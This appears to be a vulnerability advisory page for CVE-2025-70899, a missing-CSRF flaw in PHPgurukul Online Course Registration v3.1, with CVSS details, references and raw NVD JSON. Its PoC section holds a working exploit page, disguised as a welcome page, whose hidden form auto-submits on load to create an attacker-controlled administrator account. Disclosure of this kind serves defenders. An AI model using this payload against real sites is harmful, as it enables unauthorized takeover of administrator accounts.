CVE-2025-70899

Description

PHPgurukul Online Course Registration v3.1 lacks Cross-Site Request Forgery (CSRF) protection on all administrative forms. An attacker can perform unauthorized actions on behalf of authenticated administrators by tricking them into visiting a malicious webpage.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:online_course_registration:3.1:*:*:*:*:*:*:* - VULNERABLE

PHPgurukul Online Course Registration v3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>Course Registration System</title> </head> <body> <h1>Welcome to Online Course Registration</h1> <p>Click the button below to access your courses:</p>  <form action="http://target-site/admin/add-user.php" method="POST" id="csrfForm" style="display:none;"> <input type="hidden" name="username" value="malicious_admin"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="password" value="P@ssw0rd123"> <input type="hidden" name="mobile" value="1234567890"> <input type="hidden" name="course" value="1"> <input type="hidden" name="submit" value=""> </form> <script> // Auto-submit the form when page loads document.addEventListener('DOMContentLoaded', function() { document.getElementById('csrfForm').submit(); }); </script> <button onclick="alert('Access granted!')">Continue</button> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-70899
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-70899
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-70899/
[4] VulDB https://vuldb.com/cve/CVE-2025-70899
[5] https://github.com/mathavamoorthi/CVE-2025-70899/blob/main/Missing_CSRF_protection_poc.md
[6] https://phpgurukul.com/online-course-registration-free-download/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-70899", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:28.580", "lastModified": "2026-02-02T20:01:45.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPgurukul Online Course Registration v3.1 lacks Cross-Site Request Forgery (CSRF) protection on all administrative forms. An attacker can perform unauthorized actions on behalf of authenticated administrators by tricking them into visiting a malicious webpage."}, {"lang": "es", "value": "PHPgurukul Online Course Registration v3.1 carece de protección contra falsificación de petición en sitios cruzados (CSRF) en todos los formularios administrativos. Un atacante puede realizar acciones no autorizadas en nombre de administradores autenticados al engañarlos para que visiten una página web maliciosa."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_course_registration:3.1:*:*:*:*:*:*:*", "matchCriteriaId": "D81E8295-443B-41A0-8E43-C59108EC60D0"}]}]}], "references": [{"url": "https://github.com/mathavamoorthi/CVE-2025-70899/blob/main/Missing_CSRF_protection_poc.md", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/online-course-registration-free-download/", "source": "[email protected]", "tags": ["Product"]}]}}